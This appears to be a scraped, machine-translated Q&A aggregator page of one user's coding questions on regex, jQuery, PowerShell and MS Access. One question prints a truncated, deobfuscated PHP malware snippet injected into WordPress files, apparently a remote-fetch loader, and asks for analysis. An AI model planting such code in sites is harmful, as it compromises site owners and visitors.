小编Kal*_*nGi的帖子

Node.js 是否支持 String.MatchAll 方法?

当我测试代码时:

let result = 'heymama'.matchAll(/m(a)/g);
Run Code Online (Sandbox Code Playgroud)

我收到错误“ 'heymama'.matchAll 不是函数

当我运行版本时:

let result = 'heymama'.match(/ma/g);
Run Code Online (Sandbox Code Playgroud)

没有错误。

regex node.js

13
推荐指数
3
解决办法
1万
查看次数

Jquery可排序('序列化')

是否可以通过直接调用serialize方法而不是使用回调来从jquery中的UL获取序列化的项目列表?代码段:

var sortableLinks = $("#category_links_list_3");
var linkOrderData = $(sortableLinks).sortable('serialize');
Run Code Online (Sandbox Code Playgroud)

category_links_list_3 是UL的id

DOM结构是:

<div class="hidden" id="inline_list_3">
    <ul class="category_links_list ui-sortable" id="category_links_list_3">
        <li class="link_title ui-state-default" id="category_link_8">Coconut Oil</li>
        <li class="link_title ui-state-default" id="category_link_9">Hempseed</li>
    </ul>
</div>
Run Code Online (Sandbox Code Playgroud)

谢谢...

jquery serialization jquery-ui-sortable

12
推荐指数
2
解决办法
5万
查看次数

这个恶意软件代码是什么完成的?

我发现这个代码注入客户端站点上的许多PHP文件中.当然,原件已被混淆和编码.我设法解码它并将其格式化为当前表单.

我的问题是:它到底完成了什么,代码是否表明它是如何注入的,因此揭示了未来如何防止这种情况?

<?php
if(!function_exists('check_wp_head_load')){
    function check_wp_head_load(){
        if(!function_exists('cc')){
            function cc($ll_0){
                $ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
                if(function_exists('curl_init')){
                    $ll_2 = curl_init();
                    curl_setopt($ll_2, 10002, $ll_0);
                    curl_setopt($ll_2, 42, 0);
                    curl_setopt($ll_2, 13, 30);
                    curl_setopt($ll_2, 19913, 1);
                    curl_setopt($ll_2, 10018, $ll_1);
                    if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
                        @curl_setopt($ll_2, 52, 1);

                    }

                    @curl_setopt($ll_2, 68, 2);
                    $ll_3 = curl_exec($ll_2);
                    curl_close($ll_2);
                    if($ll_3 !== false){
                        return $ll_3;

                    }

                }
                else if(function_exists('fsockopen')){
                    global $ll_4;
                    $ll_0 = str_replace("http://", "", $ll_0);
                    if(preg_match("#/#", "$ll_0")){
                        $ll_5 = $ll_0;
                        $ll_0 = @explode("/", $ll_0);
                        $ll_0 = $ll_0[0];
                        $ll_5 …
Run Code Online (Sandbox Code Playgroud)

php wordpress code-analysis malware

9
推荐指数
1
解决办法
1070
查看次数

使用Powershell替换方括号

如果你有一个文件名,如"委员会会议记录[2010年10月] - hq.doc",你如何让Powershell取代方括号?以下不起作用:

ls  -filter *`[*`]* | foreach -Process { Rename-Item $_ -NewName ($_.Name -replace '\[', '\(') | Rename-Item $_ -NewName ($_.Name -replace '\]', '\)')}
Run Code Online (Sandbox Code Playgroud)

我收到错误:

Rename-Item : Cannot rename because item at 'Committee minutes [October 2010] - hq.doc' does not exist.

At line:1 char:53
+ ls  -filter *`[*`]* | foreach -Process { Rename-Item <<<<  $_ -NewName ($_.Name -replace '\['
]', '\)')}
    + CategoryInfo          : InvalidOperation: (:) [Rename-Item], PSInvalidOperationException
    + FullyQualifiedErrorId : InvalidOperation,Microsoft.PowerShell.Commands.RenameItemCommand
Run Code Online (Sandbox Code Playgroud)

powershell rename pattern-matching

4
推荐指数
1
解决办法
4474
查看次数

如何确定MS Access安装路径

我有一个MS Access的命令行调用,如下所示:

%Programfiles%\Office11\msaccess.exe
Run Code Online (Sandbox Code Playgroud)

如何消除“ Office11”部分,以便执行的调用执行已安装的任何版本的MS Access?我必须在命令行上运行此命令,因此使用“开始”>“运行”对话框的选项不适用。

ms-access command-line

4
推荐指数
2
解决办法
7061
查看次数

在不使用正则表达式的情况下使用 Powershell 替换文件中的多行文本

我有以下 Powershell 脚本:

$oldCode =  @"
            <div id="time_estimate">
                <!-- some large table -->
            </div>
"@

$newCode = @"
            <div id="time_estimate">
                                <!-- nested divs and spans -->
                                <div id="contact-form">

                                        <?php include "contact-form.php"; ?>
                                </div>
                        </div>
"@

ls *.html | foreach { 
        $fileContent = [System.Io.File]::ReadAllText($_.FullName)
        $newFileContent = $fileContent.Replace($oldCode, $newCode)
        [System.Io.File]::WriteAllText($_.FullName, $newFileContent)
        Write-Host  "`r`n"
        Write-Host  "Processed - $($_.Name)...`r`n" }
Run Code Online (Sandbox Code Playgroud)

这似乎并没有取代文本。这是多行字符串的问题,还是 Replace() 方法的限制?我宁愿在不引入正则表达式的情况下进行替换。

powershell replace

4
推荐指数
1
解决办法
1万
查看次数

如何使用Powershell检测CamelCase

我想拆分格式为ArtistTitle的歌曲名称,以使其最终成为Artist-Title

Powershell中是否可以检测CamelCase边界并执行替换?这只会影响第一种情况的边界,而忽略其余的情况。

powershell camelcasing

2
推荐指数
1
解决办法
1809
查看次数

PHP Regexp帮助

我似乎无法掌握这个表达式打算提取的内容:

preg_match("/^(?:[\s\*]*?@([^\*\/]+?)\s(.+))/",$line,$match);
Run Code Online (Sandbox Code Playgroud)

$ line是文本文件中的一行,而$ match是一个数组

php regex

1
推荐指数
1
解决办法
170
查看次数

C#正则表达式有意想不到的结果

我有一个正则表达式,它应该匹配一个字符串中的"S".我使用了以下版本,它通过拒绝字符串"圣查尔斯"来工作:

regex = new Regex(@"(^|\s)(?<stuff>S?)(\s|$)");
Match match = regex.Match("Saint Charles");
Run Code Online (Sandbox Code Playgroud)

比赛按预期失败.

我的问题是下面的第二个版本如何接受字符串:

regex = new Regex(@"(^|\b)(?<stuff>S?)(\b|$)");
Match match = regex.Match("Saint Charles");
Run Code Online (Sandbox Code Playgroud)

比赛成功,但我预计它会失败.

更新: 以下是我的目标背景:

我有一个错误拼写或需要不同措辞的位置列表:

string[] locationNames =
            {
                "Ponte Vedra Beac",
                "Newton Upper Fal",
                "Howey In The Hil",
                "Mc Donough",
                "East Mc Dowell",
                "Saint Charles",
                "Cape Saint Clair",
                "Marine On Saint",
                "W Mifflin Fin",
                "Mt Sylvan",
                "Bromley Mtn",
                "S Richmond Hill"
            }; 
Run Code Online (Sandbox Code Playgroud)

通过查看数据,我确定一些替换应发生在位置名称的末尾,一些替换发生在开头,而其他位于其中的任何位置.

我正在使用字典来确定1)正确的替换和2)所需的正则表达式的类型.

var alternateSpellings = new Dictionary<string, string>()
                                {
                                    {"Beac$", "Beach"},
                                    {"Fal$", "Falls"},
                                    {"Hil$", "Hills"},
                                    {"Mc ", …
Run Code Online (Sandbox Code Playgroud)

c# regex

0
推荐指数
1
解决办法
83
查看次数